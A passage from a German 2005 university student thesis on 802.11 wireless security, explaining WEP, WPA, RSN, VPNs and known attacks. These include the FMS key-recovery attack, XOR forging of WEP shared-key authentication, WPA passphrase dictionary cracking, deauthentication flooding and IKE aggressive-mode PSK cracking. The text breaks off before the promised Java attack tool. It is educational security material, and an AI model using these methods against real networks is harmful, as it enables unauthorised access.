Sicherheit in 802.11-Netzwerken - Fakultät für Mathematik und

Transcription

Sicherheit in 802.11-Netzwerken - Fakultät für Mathematik und
Sicherheit in 802.11-Netzwerken
WEP, WPA und 802.11-Standards
Studienarbeit
Friedrich-Schiller-Universität Jena
vorgelegt von
Alexander Gottschalk
Oktober 2005
Abstract
Im Rahmen dieser Studienarbeit soll die Entwicklung der Netzwerksicherheit im WLAN-Standard 802.11x beschrieben werden. Explizit soll dabei
auf Schwachstellen der existierenden Sicherheitsprotokolle WEP und WPA
eingegangen werden. Als praktischer Anteil der Studienarbeit ist die Implementierung eines Angriffs auf die WEP-Verschlüsselung vorgesehen.
2
Inhaltsverzeichnis
Einleitung
1 Theoretische Grundlagen.................................................... 6
1.1 Standards....................................................................................... 6
802.11
6
802.1x
6
1.2 Sicherheit........................................................................................ 7
Schutzziele
7
PRNG & PRF
7
Verschlüsselung (RC4, TKIP, Michael, CCMP)
8
Angriffe
10
1.3 Sicherheitsmaßnahmen................................................................
Standardintegriert
WEP
Erweiterungen (WEPPlus, FPK, WEP2)
WPA
RSN
Zusätze (VPN, IPSec, SSL, SSH)
11
11
12
14
15
17
17
1.4 Authentifizierung.........................................................................
802.1x
EAP & RADIUS
Authentifizierung jenseits der MAC-Schicht
19
19
19
22
2 Praktische Anwendung...................................................... 23
Programmdokumentation
Offene Netze am Studienstandort
Angriff auf ein WEP-geschütztes Netz
Aufspüren von Angreifern im eigenen Netz
23
25
26
27
3 Rechtliche Grundlagen.................................................... 28
3
4 Fazit............................................................................... ....... 30
5 Abkürzungen................................................................ ....... 32
6 Glossar.................................................................................. 34
7 Literaturverzeichnis............................................................ 35
Anhang
Sniffer.java
Filter.java
4
Einleitung
In den vergangenen Jahren hat Wireless LAN mehr und mehr an Bedeutung
gewonnen, sei es aus Bequemlichkeit im privaten Haushalt, aus Unkompliziertheit und Kabelfreiheit am Arbeitsplatz oder aus Unabhängigkeit unter
freiem Himmel. Immer mehr Menschen greifen auf die Funkvariante der
PC-Vernetzung zurück.
Doch mit der steigenden Anzahl der Nutzer wuchs auch die Zahl der Angreifer, Trittbrettfahrer und Saboteure.
Diese Arbeit soll in drei Kapiteln einen Einblick in die Sicherheit in Wireless LANs geben. Im ersten Kapitel werden die theoretischen Grundlagen
erläutert, von den zugrunde liegenden Algorithmen bis hin zu den neuesten
Sicherheitsstandards. Dabei wird auf Schwachstellen eingegangen und Lösungsmöglichkeiten aufgezeigt.
Das zweite Kapitel dient der Implementierung eines Angriffs auf ein WEPgeschütztes Netzwerk. Hierzu wurde ein Tool in Java entworfen, welches
auf dem Fluhrer-Martin-Shirman-Angriff basiert.
Das letzte Kapitel zeigt die Rechtsgrundlagen bei Wireless LANs, was zu
tun ist wenn man Opfer eines Angriffs wurde und was einen als Schwarzsurfer oder Saboteur erwarten kann.
All dies soll beim Einrichten eines kabellosen Netzwerks helfen und als
Rahmeninformation für Wireless LANs dienen.
5
1 Theoretische Grundlagen
1.1 Standards
802.11
Dieser Standard bildet die Grundlage aller Wireless LANs. Er wurde 1997
verabschiedet und 2 Jahre später überarbeitet. Er beinhaltet die Definition
eines kabellosen Netzwerkes mit den Mitteln der bekannten kabelgebundenen Variante. Die ursprüngliche Definition von 802.11 beschrieb eine
Übertragungsrate von 1 MBit/s. Momentan gibt es drei Substandards
802.11 a, b und g, sowie die Erweiterungen 802.11 d, e, f, h, i und j, wobei
ständig neue hinzukommen (Stand Januar 2005).
802.11a arbeitet auf dem 5-GHz-Band, während 802.11b und 802.11g das
2,4-GHz-Band zur Übertragung nutzen. Die Erweiterungen sorgen für mehr
Kompatibilität und Sicherheit sowie für Geschwindigkeitsverbesserungen.
802.11i ist die wichtigste Erweiterung, die Sicherheit betreffend. Sie beschreibt verschlüsselte Übertragung mit Hilfe des Temporal Key Integrity
Protocol (TKIP) und dem Advanced Encryption Standard (AES).
802.1x
Dieser Standard gehört nicht direkt zur 802.11-Familie, spielt aber in Verbindung mit bestimmten Authentifizierungsmethoden eine große Rolle. Er
beschreibt die portbasierte Authorisierung und die Portsicherung in Netzwerken mithilfe eines Remote Authentication Dial In User Service
(RADIUS) und dem Extendible Authentication Protocol (EAP).
Wo genau die einzelnen Standards im ISO-OSI-Referenzmodell angesiedelt
sind, zeigt Abbildung 1.1.
Upper Layers
802.1x
Data Link Layer
802.11i
802.11a
802.11b
802.11g
Physical Layer
Abbildung 1.1. IEEE-Standards im ISO-OSI-Modell
6
1.2 Sicherheit
Schutzziele
Für die eben erwähnten Standards wie auch für alle anderen Netzwerke
werden bestimmte Schutzziele gesetzt, die es zu erreichen gilt. Die wichtigsten sind Vertraulichkeit, Zugangskontrolle, Datenintegrität und Anonymität. Vertraulichkeit bedeutet, die Daten vor dem Zugriff Dritter zu schützen
und die Geheimhaltung aller Informationen zu wahren. Hierzu ist es notwendig, den Datenverkehr mit kryptographischen Verfahren zu verschlüsseln. Zugangskontrolle oder Authentizität soll gewährleistet sein, sodass
angeforderte Daten nur von authorisierten Nutzern stammen und auch nur
authentifizierte Clients Netzzugang bekommen. Integrität bedeutet, dass
alle angeforderten Daten manipulationsfrei übertragen und empfangen werden. Damit in Verbindung steht die Anonymität, wobei alle Netzwerkteilnehmer sowohl untereinander als auch nach außen unerkannt bleiben sollen.
Um die Schutzziele zu erreichen und die Sicherheit zu gewährleisten wurden neue Algorithmen entwickelt oder bereits anderweitig genutzte integriert.
PRNG & PRF
Pseudo Random Number Generators (PRNG) dienen der Erzeugung von
Zufallszahlen. Der Automat arbeitet deterministisch, die Zahlen sollten
gleichverteilt sein. Somit sollen Rückschlüsse auf den Eingabestrom oder
die verwendeten Schlüssel unmöglich sein oder zumindest erschwert werden. Er findet bereits bei WEP Anwendung, wurde aber auch in anderen
Verschlüsselungsverfahren integriert. Aufgrund seiner Linearität wurden
aber, gerade in Verbindung mit WEP, einige Schwächen bekannt, die trotz
aller Mühen dennoch Rückschlüsse auf die Eingabe zuließen. Somit versuchte man, in neueren Verfahren das Schlüsselmanagement in anderer
Weise zu unterstützen. Hier kommen Pseudo Random Functions (PRF)
zum Einsatz. Diese produzieren einen n Bit langen Ausgabestrom, der keine Rückschlüsse mehr auf die Eingabe zulässt. Eine solche Funktion arbeitet mit Hashfunktionen (Hash Message Authentication Code HMAC) und
dem Secure Hash Algorithm SHA-1, von dem jedoch vor kurzem bekannt
wurde, dass er geknackt wurde (heise.de Newsticker 56428). Die Eingabe
der Funktion ist abhängig von einem Schlüssel K, einer Bytefolge B bestehend aus MAC-Adresse und Zeitangabe und einer Funktionsbeschreibung
A. (PRF (B,A,K) = wn). Diese Eingabe wird nun in einen Algorithmus gegeben, der intern solange rekursiv eine Hashfunktion aufruft, bis die ge7
wünschte Bytelänge n des Outputs erreicht oder überschritten wird. Dieses
Verfahren kommt beispielsweise beim Robust Security Network (RSN)
zum Einsatz.
Verschlüsselung (RC4, TKIP, Michael, CCMP)
Die Verschlüsselung selbst übernehmen bestimmte Algorithmen, die hauptsächlich extra für WLANs entwickelt worden sind.
RC4 ist ein Strom-Chiffrier-Algorithmus mit variabler Schlüssellänge,
der beispielsweise bei Wired Equivalent Privacy (WEP) und Secure
Sockets Layer (SSL) integriert ist. Er ist einfach aufgebaut, leicht zu implementieren und sehr schnell. Er basiert auf einer 8x8-Box S0..S255, gefüllt
mit Permutationen von 0 bis 255, die vom Schlüssel erzeugt werden. Für
die Initialisierung der Box wird sie zuerst linear gefüllt und dann über einen
Array mit dem Schlüssel verknüpft (K0..K255):
j=0
for i = 0 to 255 do
j = (j + Si + Ki) MOD 256
swap Si AND Sj
Schlüsselstromerzeugung:
i=0
j=0
i = (i + 1) MOD 256
j = (j + Si) MOD 256
swap Si AND Sj
t = (Si + Sj) MOD 256
K = St
// K ist nächstes Schlüsselstrom-Byte
Æ Vorgang wird für die restlichen benötigten Bytes wiederholt
Das Temporary Key Integrity Protocol (TKIP) umschließt WEP und ergänzt es um einige Features, die die Schwächen von WEP ausräumen sollen. Der Algorithmus Michael ist ein kryptographischer Message Authentication Code (MAC) um gefälschten Paketen vorzubeugen. Der MichaelSchlüssel ist 64 Bit lang, besteht aus zwei 32 Bit Teilen T0 und T1. Die tagging-Funktion füllt die erste Nachricht mit 0x5a und Nullen, zerlegt sie
dann in Teilwörter P1 .. Pn und berechnet den Tag mit folgendem Algorithmus:
8
(L, R) Å (T0, T1)
for i=1 to n do
L Å L xor Pi
(L, R) Å b(L, R)
tion
return (L, R)
// b ist Funktion: Tausch, Addition, Rota// als Tag
Die Initializationvector-Sequenz (IV-Sequenz) verhindert ReplayAttacken. Sie beschreibt einen einfachen Sequenzzähler, der jedem Paket
einen neuen IV zuweist. Pakete mit bereits verwendeten IVs werden verworfen. Key-Mixing soll die Schwäche im RC4 beheben, indem für jedes
Paket ein neuer Schlüssel generiert wird. Diese Schlüsselsequenz beinhaltet
einen mit der MAC-Adresse verknüpften Teil und einen aus der Sequenznummer resultierenden Teil. Dieser geht dann in die WEP-Verschlüsselung
ein. Der Re-Keying-Mechanismus sorgt für regelmäßig neue Schlüssel.
802.1x übernimmt hierbei das Update der Schlüssel mit bestimmten RekeyNachrichten-Paketen und der Authentifizierungsserver die Verteilung der
Schlüssel.
Michael ist ein in WPA integrierter Hash-Algorithmus, der einen 8-ByteIntegritätscode, den sogenannten Michael Integrity Check (MIC), berechnet. Er wird zwischen Datenteil und IV in das Paket eingebunden und dann
zusammen mit den gesamten Daten und dem ICV verschlüsselt. Außerdem
verhindert er IV-Wiederholungen, indem er einen anderen Zähler verwendet (siehe Kapitel zu WPA).
Counter-Mode Cipher Block Chaining Message Authentication Code
Protocol (CCMP) hingegen ist ein neues, eigenständiges Protokoll, völlig
fremd zu WEP. Es wird nur ein 128 Bit langer Schlüssel benutzt. Dieser
wird mithilfe von 802.1x gesetzt. Die Verschlüsselung erfolg mit CCM,
ebenso der Schutz vor gefälschten Paketen. CCM selbst benutzt AES, welcher als Eingabe einen 128 Bit Block benötigt. AES ist ein BlockchiffreAlgorithmus, bei dem jeder Block in eine Tabelle mit 4 Zeilen geschrieben
wird, jede Zelle beschreibt ein Byte. Nun wird jeder Block in zehn Runden
transformiert, hierbei werden Teile des Schlüssels auf den Klartext angewendet. Eine sogenannte Substitutionsbox (S-Box), fest im Algorithmus
verankert, beschreibt, welches Byte wie getauscht wird. Dies ist jedoch
nur Grundlage für bestimmte Prozeduren, die in AES verwendet werden.
Der gesamte Verschlüsselungsvorgang besteht aus zwei Phasen: der
Schlüsselexpansion und den Transformationsrunden. Die Schlüsselexpansion zerlegt den Schlüssel in 11 Teilschlüssel und transformiert ihn mithilfe
9
verschiedener mathematischer Algorithmen und XOR-Verknüpfung mit der
S-Box in das Format, das für die weitere Verwendung benötigt wird. In
Runde 1 wird nur die Methode KeyAddition(), welche die aktuelle Rundenzahl mit dem Block XOR-verknüpft, aufgerufen. In den Runden 2-9, den
sogenannten Verschlüsselungsrunden werden zuerst die Bytes des Blocks
mit den äquivalenten Bytes aus der S-Box getauscht (Substitution()). Dann
werden die Spalten in einer bestimmten Reihenfolge verschoben (ShiftRow()). Abschließend werden die Spalten vermischt (MixColumn()) und
erneut KeyAddition aufgerufen. In der letzten Runde wird auf das Vermischen der Spalten verzichtet, der Rest ist wie in den vorhergehenden. Die
Entschlüsselung erfolgt genau entgegengesetzt, jedoch mit einer anderen SBox, die aus der entgegengesetzten berechnet wird.
Angriffe
Trotz dieser Algorithmen und Verfahren sind die verschiedensten Angriffe
im Bereich der Funknetzwerke bekannt geworden und implementiert worden. Die häufigsten seien hier erwähnt.
Die Brute-Force-Methode beruht auf dem simplen Durchprobieren aller
möglichen Schlüssel. Die Reihenfolge wird gegebenenfalls nach der Wahrscheinlichkeit ausgewählt und zielt auf die Verwendung eines schwachen
Passworts.
Wörterbuch-Attacken versuchen, ein gegebenes Passwort mithilfe einer
Passwortliste zu knacken. Diese Methode kommt zum Einsatz wenn man
davon ausgehen kann, dass das Passwort aus einer sinnvollen Zeichenkombination besteht. Die Passwortlisten werden von einem speziellen Programm zur Verfügung gestellt und können um eigene Einträge erweitert
werden. Vorteil davon ist, dass es wesentlich einfacher und schneller umzusetzen ist als die Brute-Force-Methode, da wesentlich weniger Werte
durchlaufen werden müssen und die wahrscheinlichsten Werte bereits berücksichtigt sind. Der Nachteil ist die Abhängigkeit des Erfolgs von der
Passwortliste. Selbst mit der größten Passwortliste müssen lange nicht alle
Wörter abgedeckt sein, sodass dieser Angriff eventuell nicht von Erfolg
gekrönt ist.
Bei der Known-Ciphertext-Attacke versucht ein Angreifer mithilfe eines
ihm bekannten Geheimtextes Schlüsse auf den Klartext oder den Schlüssel
zu schließen.
Bei Known-Plaintext-Attacken besitzt der Angreifer Geheimtexte und
dazugehörigen Klartexte. Beide werden benutzt, um den Schlüssel zu ermitteln.
Der bekannteste ist wohl der Man-In-The-Middle-Angriff. Hier hat der
Angreifer komplette Kontrolle über den Datenverkehr fremder Netze und
kann die Informationen nach Belieben einsehen und manipulieren. Dies
10
kann erreicht werden, indem man sich als Router oder Zwischenstation
ausgibt und dann unerkannt authorisiert wird, am Datenverkehr teilzunehmen.
Eine völlig neue Art von Angriff ist die sogenannte Denial-of-ServiceAttacke (DoS). Sie hat das Ziel, einen oder mehrere Dienste arbeitsunfähig
zu machen. Meist geschieht das durch Überlastung. Eine Art des Angriffs
nutzt beispielsweise die in 802.11 integrierte Kollisionsverhütung CSMA.
Der Angreifer signalisiert mithilfe einer manipulierten WLAN-Karte, dass
die Kanäle im Netz belegt sind, die Kommunikation kommt zum Erliegen.
Deauthentication Flooding wird von einigen Tools wie void11 implementiert und meldet bereits angemeldete Clients beim AP wieder ab.
1.3 Sicherheitsmaßnahmen
Standardintegriert
Um den Angriffen vorzubeugen oder gar entgegenzuwirken, wurden verschiedene Sicherheitsmaßnahmen in IEEE 802.11 integriert, die jedoch nur
ein minimales Niveau an Sicherheit gewährleisten, aber auf keinen Fall
einen ausreichenden Schutz bieten.
Die MAC-Adresse beschreibt die physische Adresse einer Netzwerkkomponente. Access Points bieten die Möglichkeit einer Zugangskontrolle über
diese Adressen, sodass der Administrator einen MAC-Adressenfilter einrichten kann, der nur bestimmte Clients authorisiert. Da jedoch ein Angreifer mit Kenntnis einer zugelassenen MAC-Adresse und bestimmten Tools
diesen Filter umgehen kann, ist dringend davon abzuraten, sich allein darauf zu verlassen.
Auch der eingebundene Service Set Identifier (SSID) ist eher eine Gefahrenquelle als eine Sicherheitsmaßnahme. Dieses Feature bietet dem Administrator die Möglichkeit, dem WLAN einen Namen zuzuordnen. Dieser
sollte unbedingt nach außen unsichtbar gemacht werden. Viele APs bieten
die Möglichkeit, das Senden der SSID auszuschalten. Ein Client, der nicht
dem Netz zugehörig ist, kann beim Anmelden entweder den Namen angeben, wenn er ihn kennt oder er wählt die Einstellung „any“, sodass jedes
Netz ansprechbar ist.
Ist die Übertragung der SSID ausgeschaltet, ist es schon ein wenig schwerer, das Netz zu finden. Man sollte jedoch die voreingestellten Werte der
Anbieter wie etwa „default“ oder „wlan“ durch eigene Namen ersetzen, da
sonst ein Angreifer mit ein wenig Glück trotzdem das Netz findet.
Der bekannteste Bestandteil ist wohl die WEP-Architektur, der jedoch aufgrund des Umfangs ein eigenes Kapitel gewidmet wird.
11
WEP
Basis des Wired Equivalency Protocol ist ein Schlüssel, der allen erwünschten Kommunikationspartnern übermittelt wird. Er ist je nach Wahl
des Verfahrens (WEP64, WEP128, WEP256) 40, 104 oder 232 Bit lang.
Nur mit diesem Schlüssel ist der uneingeschränkte Zugang zum Netz möglich, die Verschlüsselung eines Strings besteht aus Plain-Text, dem Schlüssel und dem 24-Bit-langen Initialisierungsvektor (IV). Die Dekodierung der
empfangenen Daten erfolgt nach demselben, lediglich umgekehrten Schema wie bei der Codierung, der Schlüssel ist bei beiden Richtungen derselbe,
womit WEP ein symmetrisches Verfahren ist. [AG04]
Zusätzlich kann WEP in zwei Modi genutzt werden: Open und Shared
Key. Open bedeutet, dass auf eine Authentifizierung verzichtet wird, Shared Key stützt sich auf ein Challenge-Response-Verfahren, bei dem der
Client gegenüber dem AP authentisiert wird. Dabei generiert der AP einen
zufälligen 128 Bit Datenstrom und sendet ihm unverschlüsselt an den
Client (Challenge). Der Client verschlüsselt dann die Challenge und sendet
sie an den AP (Response). Kann dieser dann die Response entschlüsseln, ist
der Client erfolgreich authentisiert.
Abbildung 1.2 Verschlüsselung bei WEP
Die Hauptprobleme dieser Verschlüsselung liegen zum einen beim IV, der
bei WEP128 lediglich 24 Bit lang ist und sich somit nach relativ kurzer Zeit
wiederholt, da es nur 224 Möglichkeiten für ihn gibt. Zum anderen existieren sogenannte schwache Schlüssel, die eine schwächere Verschlüsselung
nach sich ziehen, indem einzelne Verfahrensschritte unwirksam gemacht
werden. Meist sind dies vergleichsmäßig wenige, die jedoch ohne Aussortierung Angreifern ein gutes Ziel bieten.
12
Die eingebaute CRC-Prüfsumme, die ursprünglich nur zur Fehlererkennung gedacht war, bietet ebenfalls keinen ausreichenden Schutz gegenüber
Manipulationen. Aufgrund der linearen Form von Prüfsumme und RC4, ist
es möglich, kontrollierte Änderungen an den übertragenen Daten vorzunehmen, ohne die Prüfsumme zu verletzen.
Die Authentifizierung selbst beinhaltet ebenfalls einige Angriffspunkte.
Zunächst besteht das Problem, dass sowohl bei der Authentifizierung als
auch bei der Datenübertragung selbst derselbe Schlüssel verwendet wird.
Somit ist bei einem erfolgreichen Angriff auf einen der beiden Abläufe
auch der andere entschlüsselt. Es sollte also eine Schlüsselunabhängigkeit
gewährleistet sein. Der zweite Schwachpunkt liegt im Ablauf der Authentifizierung. Schneidet ein Angreifer den kompletten Vorgang mit, kann er
sich dann mit einer einfachen XOR-Berechnung selbst authentifizieren
(Abbildung 1.3.). Außerdem läuft die Authentifizierung nur einseitig ab,
APs müssen dies nicht tun. Somit ist kein Schutz vor wilden APs gegeben.
Response 1 = Challenge 1 XOR Key
Angreifer erlauscht Response 1, Challenge 1, IV
Berechnung:
Challenge 1 XOR Response 1 = Challenge1 XOR (Challenge 1 XOR Key) = Key
IV und Key gültige Kombination Æ Response 2 = Challenge 2 XOR Key
Abbildung 1.3. Angriff auf WEP-Authentifikation
13
Der erste offizielle Angriff auf WEP wurde von Fluhrer, Martin und
Shamir beschrieben [FMS01]. Diese fanden in einer Studie heraus, dass
der Algorithmus zwei grundlegende Schwächen aufweist: zum einen die
sogenannte Invariance Weakness, welche eine große Anzahl schwacher
Schlüssel beschreibt, bei deren Einsatz wenige Schlüsselbits die ersten
RC4-Ausgabe-Bytes überproportional stark beeinflussen.
Die zweite Schwachstelle, IV Weakness, betrifft die Art der Verschlüsselung. Zum einen wird ein Teil des geheimen Schlüssels, der um den wechselnden IV ergänzt wird, konstant gehalten. Zum anderen werden Teile
dieses IVs mithilfe des WEP-PRNG unverschlüsselt übertragen. Wird all
dies von einem Angreifer abgefangen, ermöglicht ihm die Auswertung der
jeweils ersten Output-Bytes mit minimalem Aufwand die Rekonstruktion
des geheimen Schlüssels.
Des weiteren fehlt bei WEP die Möglichkeit des dynamischen Schlüsselaustauschs. Sollte man also WEP verwenden, ist es ratvoll, den Schlüssel
stetig zu erneuern, um Angreifern kein gutes Ziel bieten zu können. Aktuelle Tools jedoch gelingt in wenigen Sekunden mit genügend mitgeschnittenen Paketen (~200'000 – 500'000) die Bestimmung des geheimen Schlüssels. Somit wären andere Verfahren, die einen solchen dynamischen Austausch unterstützen, wesentlich sinnvoll.
Erweiterungen (WEPPlus. FPK. WEP2)
Nachdem die ersten Angriffe auf WEP-geschützte Netze erfolgreich umgesetzt hatte, wollte man natürlich ein höheres Maß an Sicherheit. Dies sollte
zunächst WEPplus übernehmen. Hier werden die schwachen Schlüssel
einfach übergangen, wodurch der Angreifer nun allein auf die Wiederholung der IVs angewiesen ist. Trotzdem ist es auch hier nur eine Frage der
Zeit, bis der Schlüssel bestimmt wurde, da heutige Tools auf die Invariance
Weakness nicht angewiesen sind. Außerdem müssen alle Kommunikationspartner WEPPlus unterstützen, ansonsten ist die Umsetzung nicht möglich.
Fast Packet Keying (FPK) zielt ebenfalls auf das Problem mit den IVs.
Schlüsselwiederholungen werden ausgeschlossen, indem für jedes Paket
mit einer Hashfunktion und einem temporären Schlüssel ein individueller
RC4-Input generiert wird. Hierzu wird die 128Bit-Eingabe für den RC4
(104Bit Key, 24Bit IV) durch einen 128Bit langen Schlüsselstrom ersetzt.
Dieser resultiert aus der Verknüpfung eines temporären Schlüssels, der
Senderadresse sowie einem 16Bit langen IV. Da hier IV-Wiederholung
ausgeschlossen werden soll, muss nach 216 Paketen der temporäre Schlüssel gewechselt werden. Known-Plaintext-Attacken sind somit völlig wirkungslos. Da jedoch auch hier das Schlüsselmanagement fehlt und der tem14
poräre Schlüssel viel zu oft gewechselt werden muss, ist dieses Verfahren
relativ uneffektiv und wartungsaufwendig.
WEP2 sollte dann ein wesentlicher Schritt in Richtung Verbesserung der
WEP-Probleme sein Hier sollte der IV auf eine Länge von 128Bit angehoben werden, ein dynamischer oder periodischer Schlüsselaustausch sollte
integriert werden und eine eigenes Authentifizierungsverfahren auf Basis
von Kerberos sollte ebenfalls eingebracht werden. Da aber schon in der
Entwicklungsphase mehrere nicht behebbare Sicherheitslücken bekannt
wurden, die mit Known-Plaintext- und Wörterbuch-Attacken ausnutzbar
waren, wurde die Weiterentwicklung gestoppt.
WPA
WPA sollte den allseits bekanten Sicherheitsproblemen von WEP Abhilfe
schaffen. Es ersetzt WEP durch das Temporary Key Internet Protocol
(TKIP) und den Algorithmus Michael. TKIP kapselt WEP so, dass nahezu
alle Schwachstellen beseitigt werden.
Abbildung 1.4 TKIP-Verfahren mit RC4 und Key-Mixing
Der Input für den Schlüsselstromgenerator wird in zwei Key-Mixing-Stufen
ermittelt. Somit sind keine Rückschlüsse auf den Initialisierungsvektor
möglich, schwache Schlüssel treten nicht auf. Der IV ist nun 48 Bit lang,
was Wiederholungsattacken ausschließt, da der IV pro Übertragung um 1
15
erhöht werden kann ohne das alle Möglichkeiten ausgeschöpft werden. Der
IV selbst besteht aus einem Low- (16) und einem High-Teil (32), was eine
Rechenzeitoptimierung bringen soll. Das Einbinden der MAC-Adresse ist
ein großer Sicherheitspluspunkt, da dies unterschiedliche RC4-Schlüssel
bei unterschiedlichen Sendern und gleichem IV zur Folge hat. Der zusätzliche Algorithmus Michael, ein Hashverfahren zur Verschlüsselung ist jedoch eine Schwachstelle, da lediglich ein 40 Bit langer Teil effizient ist.
Der eingebundene Key Handshake erfolgt in zwei Phasen: Pairwise und
Group Key Handshake. Beim Pairwise Handshake senden Client und Access Point Zufallswerte, mischen diese mit dem Master Secret und verwenden ihn als Session Key und zusätzlichen Schutz. Der Client installiert dann
den Session Key, danach der Access Point um die Kommunikation zu ermöglichen. Der Group Key Handshake geht vom Access Point aus, welcher
den Group Key zur Multicast- und Broadcast-Paketverschlüsselung aussendet.
Doch auch bei WPA sind schon Schwachstellen entdeckt worden, die erfolgreiche Angriffe nach sich zogen.
Bei einer sorglosen und einfältigen Auswahl der Pre-Shared-Keys gelingt
Angreifer mithilfe einer Wörterbuchattacke relativ schnell das erfolgreiche
Knacken des Schutzes. Allerdings ist dies bei allen einfach verwendeten
Passwörtern, die nicht kompromittiert übertragen werden, möglich. Mittlerweile stehen einige Tools im Internet zur Verfügung, die über diese
Schwachstelle versuchen, Zugang zum Netz zu bekommen. Dies ist beispielsweise der WPACracker von TinyPEAP.
Ein weitaus größeres Problem liegt bei der Authentifizierung mit WPA
(vgl. Kapitel zur Authentifizierung).
Eine weitere Schwachstelle liefert der Algorithmus Michael. Neben seiner
bereits erwähnten zu geringen Länge des effizienten Teils (40 Bit) bringt
sein Einsatz bei bestimmten Attacken neue Probleme mit sich. Wird auf ihn
ein Brute-Force-Angriff gestartet, legt er bei mehr als einem falschen Paket
pro Sekunde die Hardware für eine Minute lahm. Dies entmutigt zwar Angreifer, die Attacke öfter zu starten, leider leidet dann auch der authorisierte
Nutzer selbst unter der Nichtverfügbarkeit. Zudem öffnet diese Art des
Schutzes die Tür für Denial-Of-Service-Attacken. (heise Newsticker
32542)
Die nächste Schwachstelle ist der Group Key, der allen authorisierten
Clients vorliegt. Bekommt ein Angreifer den Schlüssel heraus, ist er in der
Lage, den anfänglichen Schlüsselaustausch abzuhören.
Setzt man in einem Netz keinen Radiusserver ein, will aber auf die Sicherheitsfeatures von WPA nicht verzichten, muss man ein anderes Verfahren
zur Authentifizierung verwenden. Hier kommt WPA mit Passphrase zum
Einsatz, bei der die Clients bei ihren Kommunikationspartner, Access
16
Points oder andere Clients, eine Passphrase eingeben. Diese ist zwischen 8
und 64 Zeichen lang und wird mit der SSID verknüpft. Ein Hashverfahren
berechnet daraus dann das Master Secret und Zufallswerte erzeugen einen
individuellen TKIP-Schlüssel. Die Passphrase sollte gut gewählt sein damit
eventuelle Wörterbuchattacken nicht von Erfolg gekrönt sind.
RSN
Das Robust-Security-Network (RSN) ist der momentan neueste Bestandteil von IEEE 802.11. Die Taskgroup i führte einige Neuerungen ein, die
ein wesentlich höheres Maß an Sicherheit garantieren sollen.
802.11i beinhaltet ein völlig neues Verschlüsselungsverfahren, den Advanced Encryption Standard (AES) auf Basis eines eigenen Protokolls, dem
CTR/CBC-MAC Protocol (CCMP).
Beim Advanced Encryption Standard Counter with CBC-MAC (AESCCM) wird ein 128 Bit langer Schlüssel für beide Kommunikationsrichtungen benutzt, das Verfahren verläuft wie bei WPA, der IV ist ebenfalls 48
Bit lang. Zusätzlich unterstützt AES VoIP und die Verwendung mehrerer
Access Points. Durch die Vergabe eines Pairwise Master Key werden erneute Anmeldungen umgangen, die Kommunikation wird beschleunigt.
Hierbei versieht der Access Point das Pairwise Master Key mit einer ID,
welche bei einer wiederholten Anwendung auf Gültigkeit geprüft wird. Bei
bestehender Gültigkeit werden die erneuten Schlüsselverhandlungen umgangen und so die Kommunikation beschleunigt.
Zusätzlich wurden im RSN wurden mithilfe von 802.1x Maßnahmen zur
Authentifizierung und zum Schlüsselmanagement integriert. Diese basieren
auf dem Extensible Authentication Protocol (EAP) und der Verwendung
eines Remote Access Dial In User Service (RADIUS). Mehr dazu im Kapitel zur Authentifizierung.
Zusätze (VPN, IPSec, SSL, SSH)
Reichen die für WLANs zur Verfügung gestellten Sicherheitsmaßnahmen
nicht aus, müssen andere, bereits in kabelgebundenen Netzen verwendete
Verfahren benutzt werden.
Virtual Private Networks (VPNs) werden eingesetzt um in öffentlichen
Netzen eine geschützte Datenverbindung zu erreichen. Dies geschieht, indem ein Tunnel angelegt wird, in dem der Datenverkehr parallel zum restlichen abläuft. Bei WLANs werden zu übertragende Datenpakete in anderen
Paketen gekapselt. Dies geschieht über ein kryptographisches Verfahren.
Der Empfänger muss dann die Kapsel „öffnen“, um an die eigentlichen
Daten zu kommen. Somit läuft die Übertragung über einen Tunnel ab. Al17
lerdings müssen sich Sender und Empfänger vorher authentifizieren um den
Tunnel zwischen den Clients zu definieren.
Für die Verwendung von VPNs werden somit zwei weitere Protokolle nötig: ein Trägerprotokoll und ein Verschlüsselungsprotokoll. Mittlerweile hat
sich IPSec bei beiden Protokollen etabliert. Wesentliche Vorteile des Verfahrens sind ein integriertes Schlüsselmanagement, die Garantie auf Authenzität und Integrität der Daten mithilfe eines Authentication Headers und
die Anwendung der Protokolle innerhalb der Netzwerkschicht des ISOOSI-Modells, was eine Anwendungsunabhängigkeit garantiert.
Der Hauptnachteil von IPSec ist der hohe Verwaltungsaufwand beim Einrichten. Jeder Client muss eine VPN-Software installiert haben, eine Einbindung in die Hardware ist nicht möglich.
Secure Socket Layer (SSL) kann ebenfalls als Basis für VPN benutzt werden, hat jedoch den großen Vorteil, dass der Browser des Clients die Aufgaben übernimmt und keine clientseitige VPN-Software nötig ist. SSL beinhaltet eine Authentifizierung auf Public-Key-Basis sowie Verschlüsselungsverfahren basierend auf Zertifikaten bestimmter Institutionen. Dies
sind beispielsweise RC4 oder DES. Allerdings ist der RC4 in diesem Fall
nicht von den Schwächen betroffen, die er bei WEP aufweist, da hier lediglich ein Session Key mithilfe einer Hashfunktion generiert wird. Im Bereich
des WLAN ist SSL unter dem Namen TLS geläufig.
Secure Shell (SSH) beinhaltet dieselben Features wie SSL bezüglich Authentifizierung und Verschlüsselung, unterstützt aber zusätzlich das Tunneling, jedoch immer nur für ein bestimmtes Protokoll, womit also keine vollständige VPN-Unterstützung vorliegt. Das Prinzip basiert auf einer Portweiterleitung: es wird auf den Clients jeweils ein Port für die Übertragung
bereit gestellt, zwischen denen dann der Tunnel aufgebaut wird. Somit
werden alle Anfragen auf den lokalen Port des Clients auf den entsprechenden fremden Remote Port des anderen Clients weitergeleitet.
VPN selbst besitzt eine so gute Verschlüsselung, dass Angriffe eher an den
Enden des Tunnels angesetzt werden sollten. Man verlässt sich hierbei auf
die Unsicherheit in der Authentifizierung. Der Angreifer versucht, sich
beim Gateway anzumelden. Dies ist nur möglich wenn zur Authentifizierung ein Pre-Shared-Key verwendet wird und der Gateway im Aggressive
Mode arbeitet. In diesem Modus ist der IKE-Handshake (Schlüsselaustausch über Internet Key Exchange) verkürzt. Dies bietet eine hervorragende Angriffsfläche. Der Gateway benutzt für die Authentifizierung einen
Hashwert, der aus dem PSK erzeugt wird. Tools wie IKEProbe versuchen
nun mithilfe des unverschlüsselten Hashwerts den PSK über Brute-Forceoder Wörterbuch-Attacke zu berechnen. Dazu simuliert es einen VPNClient und startet einen IKE-Handshake. Dabei werden die IKE-Parameter
18
gescannt und nach dem PSK-Hash gesucht. Ist der PSK gefunden, muss
man nur noch die Subnetze raten und schon hat man Zugang.
Man kann sich jedoch gegen solche Angriffe schützen, indem man den Aggressive Mode einfach ausschaltet oder eine Firewall integriert. Am besten
